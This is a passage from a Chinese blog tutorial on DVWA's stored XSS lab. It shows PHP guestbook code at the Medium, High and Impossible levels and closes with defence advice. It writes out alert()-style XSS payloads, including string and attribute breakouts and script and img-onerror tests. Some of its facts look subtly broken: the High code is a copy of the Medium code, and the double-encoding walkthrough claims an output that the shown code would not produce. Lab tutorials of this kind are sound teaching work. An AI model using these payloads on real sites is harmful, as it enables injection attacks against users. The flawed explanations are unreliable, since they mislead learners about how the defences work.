class="variable">$name</span> ) );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：使用mysqli_real_escape_string()转义 ★★★</span></span><br><span class="line">    <span class="variable">$name</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$name</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：使用strip_tags()处理留言内容 ★★★</span></span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">strip_tags</span>( <span class="title function_ invoke__">addslashes</span>( <span class="variable">$message</span> ) );</span><br><span class="line">    <span class="variable">$message</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$message</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 插入数据库</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;INSERT INTO guestbook ( comment, name ) VALUES ( &#x27;<span class="subst">$message</span>&#x27;, &#x27;<span class="subst">$name</span>&#x27; );&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">//mysql_close();</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>strip_tags()</strong> - 移除所有HTML标签</li><li><strong>addslashes()</strong> - 添加反斜杠转义</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>关键问题：</strong></p><p>虽然使用了<code>strip_tags()</code>，但：</p><ol><li><strong>Name字段限制长度</strong> - 通常很短，难以注入</li><li><strong>Message字段也使用strip_tags()</strong> - 标签被移除</li><li><strong>但输出时仍未编码</strong> - 可能存在绕过方式</li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><p><strong>Medium难度的限制：</strong></p><p>DVWA Medium难度的存储型XSS实际上很难绕过，因为：</p><ul><li>Name字段长度限制</li><li>Message字段使用strip_tags()</li><li>几乎所有HTML标签都被移除</li></ul><p><strong>理论绕过（在某些场景下）：</strong></p><p>如果输出上下文特殊，可能利用：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 如果数据被输出到JavaScript中 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="keyword">var</span> name = <span class="string">&#x27;&lt;?php echo $name; ?&gt;&#x27;</span>;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 即使没有HTML标签，仍可注入 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- Payload: &#x27;; alert(&#x27;XSS&#x27;); // --&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 如果数据被输出到HTML属性中 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">value</span>=<span class="string">&quot;&lt;?php echo $name; ?&gt;&quot;</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- Payload: &quot; onload=alert(&#x27;XSS&#x27;) // --&gt;</span></span><br></pre></td></tr></table></figure><p><strong>实际情况：</strong></p><p>Medium难度的DVWA存储型XSS使用了strip_tags()，基本可以防止大部分攻击。但这不代表strip_tags()是完美的防御，在某些复杂场景下仍可能被绕过。</p><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>更严格的过滤，但仍有绕过可能。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;btnSign&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户输入</span></span><br><span class="line">    <span class="variable">$name</span>    = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;txtName&#x27;</span> ] );</span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;mtxMessage&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ Name字段：使用strip_tags()和addslashes() ★★★</span></span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">strip_tags</span>( <span class="title function_ invoke__">addslashes</span>( <span class="variable">$name</span> ) );</span><br><span class="line">    <span class="variable">$name</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$name</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ Message字段：使用strip_tags()和正则过滤 ★★★</span></span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">strip_tags</span>( <span class="title function_ invoke__">addslashes</span>( <span class="variable">$message</span> ) );</span><br><span class="line">    <span class="variable">$message</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$message</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 插入数据库</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;INSERT INTO guestbook ( comment, name ) VALUES ( &#x27;<span class="subst">$message</span>&#x27;, &#x27;<span class="subst">$name</span>&#x27; );&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">//mysql_close();</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><p>High难度与Medium类似，主要防护：</p><ol><li><strong>strip_tags()</strong> - 移除HTML标签</li><li><strong>严格的输入验证</strong></li></ol><h3 id="为什么难以绕过？"><a href="#为什么难以绕过？" class="headerlink" title="为什么难以绕过？"></a>为什么难以绕过？</h3><p>由于使用了<code>strip_tags()</code>，所有HTML标签都被移除，很难进行传统的XSS攻击。</p><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用htmlspecialchars()和PDO，真正安全。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;btnSign&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：验证Anti-CSRF token ★★★</span></span><br><span class="line">    <span class="comment">// checkToken() - 验证CSRF token</span></span><br><span class="line">    <span class="comment">// 防止跨站请求伪造攻击</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户输入</span></span><br><span class="line">    <span class="variable">$name</span>    = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;txtName&#x27;</span> ] );</span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;mtxMessage&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护1：htmlspecialchars()编码 ★★★</span></span><br><span class="line">    <span class="comment">// htmlspecialchars() - 将特殊字符转换为HTML实体</span></span><br><span class="line">    <span class="comment">// ENT_QUOTES - 转换单引号和双引号</span></span><br><span class="line">    <span class="comment">// &#x27;UTF-8&#x27; - 字符编码</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 转换：</span></span><br><span class="line">    <span class="comment">// &lt; → &amp;lt;</span></span><br><span class="line">    <span class="comment">// &gt; → &amp;gt;</span></span><br><span class="line">    <span class="comment">// &amp; → &amp;amp;</span></span><br><span class="line">    <span class="comment">// &quot; → &amp;quot;</span></span><br><span class="line">    <span class="comment">// &#x27; → &amp;#039;</span></span><br><span class="line">    <span class="variable">$name</span>    = <span class="title function_ invoke__">htmlspecialchars</span>( <span class="variable">$name</span> );</span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">htmlspecialchars</span>( <span class="variable">$message</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护2：PDO预编译语句 ★★★</span></span><br><span class="line">    <span class="comment">// $db - PDO数据库连接对象</span></span><br><span class="line">    <span class="comment">// prepare() - 准备SQL语句</span></span><br><span class="line">    <span class="comment">// :name, :message - 命名参数占位符</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 作用：SQL结构和数据完全分离，防止SQL注入</span></span><br><span class="line">    <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 绑定参数 ★★★</span></span><br><span class="line">    <span class="comment">// bindParam() - 将变量绑定到参数</span></span><br><span class="line">    <span class="comment">// PDO::PARAM_STR - 参数类型为字符串</span></span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:name&#x27;</span>, <span class="variable">$name</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:message&#x27;</span>, <span class="variable">$message</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 执行插入 ★★★</span></span><br><span class="line">    <span class="comment">// execute() - 执行预编译语句</span></span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 生成新的CSRF token ★★★</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>显示留言（同样使用htmlspecialchars）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 从数据库读取留言</span></span><br><span class="line"><span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;SELECT comment, name FROM guestbook&#x27;</span> );</span><br><span class="line"><span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 遍历显示</span></span><br><span class="line"><span class="keyword">while</span>( <span class="variable">$row</span> = <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">fetch</span>() ) &#123;</span><br><span class="line">    <span class="comment">// ★★★ 关键：输出时也进行HTML编码 ★★★</span></span><br><span class="line">    <span class="comment">// 虽然存储时已编码，但最佳实践是输出时也编码</span></span><br><span class="line">    <span class="comment">// 这样即使数据库中存在恶意数据，也会被安全显示</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;div class=&#x27;comment&#x27;&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;div class=&#x27;name&#x27;&gt;&quot;</span> . <span class="title function_ invoke__">htmlspecialchars</span>( <span class="variable">$row</span>[ <span class="string">&#x27;name&#x27;</span> ] ) . <span class="string">&quot;&lt;/div&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;div class=&#x27;message&#x27;&gt;&quot;</span> . <span class="title function_ invoke__">htmlspecialchars</span>( <span class="variable">$row</span>[ <span class="string">&#x27;comment&#x27;</span> ] ) . <span class="string">&quot;&lt;/div&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;/div&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>CSRF Token</strong> - 防止跨站请求伪造</li><li><strong>htmlspecialchars()</strong> - 输入时编码</li><li><strong>PDO预编译</strong> - 防止SQL注入</li><li><strong>输出时再次编码</strong> - 双重保险</li></ol><p><strong>工作流程：</strong></p><figure class="highlight xquery"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">输入：<span class="language-xml"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br><span class="line"></span><br><span class="line">htmlspecialchars()编码：</span><br><span class="line">&amp;<span class="literal">lt</span>;script&amp;<span class="literal">gt</span>;alert(<span class="string">&#x27;XSS&#x27;</span>)&amp;<span class="literal">lt</span>;/script&amp;<span class="literal">gt</span>;</span><br><span class="line"></span><br><span class="line">存入数据库：</span><br><span class="line">&amp;<span class="literal">lt</span>;script&amp;<span class="literal">gt</span>;alert(<span class="string">&#x27;XSS&#x27;</span>)&amp;<span class="literal">lt</span>;/script&amp;<span class="literal">gt</span>;</span><br><span class="line"></span><br><span class="line">从数据库读取：</span><br><span class="line">&amp;<span class="literal">lt</span>;script&amp;<span class="literal">gt</span>;alert(<span class="string">&#x27;XSS&#x27;</span>)&amp;<span class="literal">lt</span>;/script&amp;<span class="literal">gt</span>;</span><br><span class="line"></span><br><span class="line">再次htmlspecialchars()：</span><br><span class="line">&amp;<span class="literal">lt</span>;script&amp;<span class="literal">gt</span>;alert(<span class="string">&#x27;XSS&#x27;</span>)&amp;<span class="literal">lt</span>;/script&amp;<span class="literal">gt</span>;</span><br><span class="line"></span><br><span class="line">浏览器显示（纯文本）：</span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br><span class="line"></span><br><span class="line">不会执行脚本！</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都被转义：</strong></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">攻击1：<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">存储：<span class="symbol">&amp;lt;</span>script<span class="symbol">&amp;gt;</span>alert(&#x27;XSS&#x27;)<span class="symbol">&amp;lt;</span>/script<span class="symbol">&amp;gt;</span></span><br><span class="line">显示：<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>（文本）</span><br><span class="line">结果：失败</span><br><span class="line"></span><br><span class="line">攻击2：<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line">存储：<span class="symbol">&amp;lt;</span>img src=x onerror=alert(&#x27;XSS&#x27;)<span class="symbol">&amp;gt;</span></span><br><span class="line">显示：<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span>（文本）</span><br><span class="line">结果：失败</span><br><span class="line"></span><br><span class="line">攻击3：&quot;&gt;<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">存储：<span class="symbol">&amp;quot;</span><span class="symbol">&amp;gt;</span><span class="symbol">&amp;lt;</span>script<span class="symbol">&amp;gt;</span>alert(&#x27;XSS&#x27;)<span class="symbol">&amp;lt;</span>/script<span class="symbol">&amp;gt;</span></span><br><span class="line">显示：&quot;<span class="symbol">&amp;gt;</span><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>（文本）</span><br><span class="line">结果：失败</span><br></pre></td></tr></table></figure><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-输入输出双重编码"><a href="#1-输入输出双重编码" class="headerlink" title="1. 输入输出双重编码"></a>1. 输入输出双重编码</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 输入时编码</span></span><br><span class="line"><span class="variable">$input</span> = <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;input&#x27;</span>], ENT_QUOTES, <span class="string">&#x27;UTF-8&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 存入数据库</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$pdo</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&quot;INSERT INTO comments (content) VALUES (:content)&quot;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>([<span class="string">&#x27;content&#x27;</span> =&gt; <span class="variable">$input</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出时再次编码（双重保险）</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$pdo</span>-&gt;<span class="title function_ invoke__">query</span>(<span class="string">&quot;SELECT content FROM comments&quot;</span>);</span><br><span class="line"><span class="keyword">while</span> (<span class="variable">$row</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">fetch</span>()) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$row</span>[<span class="string">&#x27;content&#x27;</span>], ENT_QUOTES, <span class="string">&#x27;UTF-8&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-使用专门的XSS过滤库"><a href="#2-使用专门的XSS过滤库" class="headerlink" title="2. 使用专门的XSS过滤库"></a>2. 使用专门的XSS过滤库</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// HTML Purifier（推荐）</span></span><br><span class="line"><span class="keyword">require_once</span> <span class="string">&#x27;HTMLPurifier.auto.php&#x27;</span>;</span><br><span class="line"><span class="variable">$config</span> = <span class="title class_">HTMLPurifier_Config</span>::<span class="title function_ invoke__">createDefault</span>();</span><br><span class="line"><span class="variable">$purifier</span> = <span class="keyword">new</span> <span class="title class_">HTMLPurifier</span>(<span class="variable">$config</span>);</span><br><span class="line"><span class="variable">$clean_html</span> = <span class="variable">$purifier</span>-&gt;<span class="title function_ invoke__">purify</span>(<span class="variable">$dirty_html</span>);</span><br></pre></td></tr></table></figure><h4 id="3-内容安全策略（CSP）"><a href="#3-内容安全策略（CSP）" class="headerlink" title="3. 内容安全策略（CSP）"></a>3. 内容安全策略（CSP）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 设置严格的CSP</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: default-src &#x27;self&#x27;; script-src &#x27;self&#x27;; object-src &#x27;none&#x27;;&quot;</span>);</span><br></pre></td></tr></table></figure><h4 id="4-HttpOnly和Secure-Cookie"><a href="#4-HttpOnly和Secure-Cookie" class="headerlink" title="4. HttpOnly和Secure Cookie"></a>4. HttpOnly和Secure Cookie</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 防止XSS窃取Cookie</span></span><br><span class="line"><span class="title function_ invoke__">setcookie</span>(<span class="string">&#x27;session&#x27;</span>, <span class="variable">$value</span>, [</span><br><span class="line">    <span class="string">&#x27;httponly&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&#x27;secure&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&#x27;samesite&#x27;</span> =&gt; <span class="string">&#x27;Strict&#x27;</span></span><br><span class="line">]);</span><br></pre></td></tr></table></figure><h3 id="数据库层面"><a href="#数据库层面" class="headerlink" title="数据库层面"></a>数据库层面</h3><ol><li><strong>存储编码后的数据</strong> - 存入数据库前先编码</li><li><strong>输出时再次编码</strong> - 双重保险</li><li><strong>定期审计</strong> - 检查数据库中是否有恶意数据</li></ol><h3 id="监控层面"><a href="#监控层面" class="headerlink" title="监控层面"></a>监控层面</h3><ol><li><strong>WAF规则</strong> - 检测XSS payload</li><li><strong>日志监控</strong> - 记录可疑输入</li><li><strong>定期扫描</strong> - 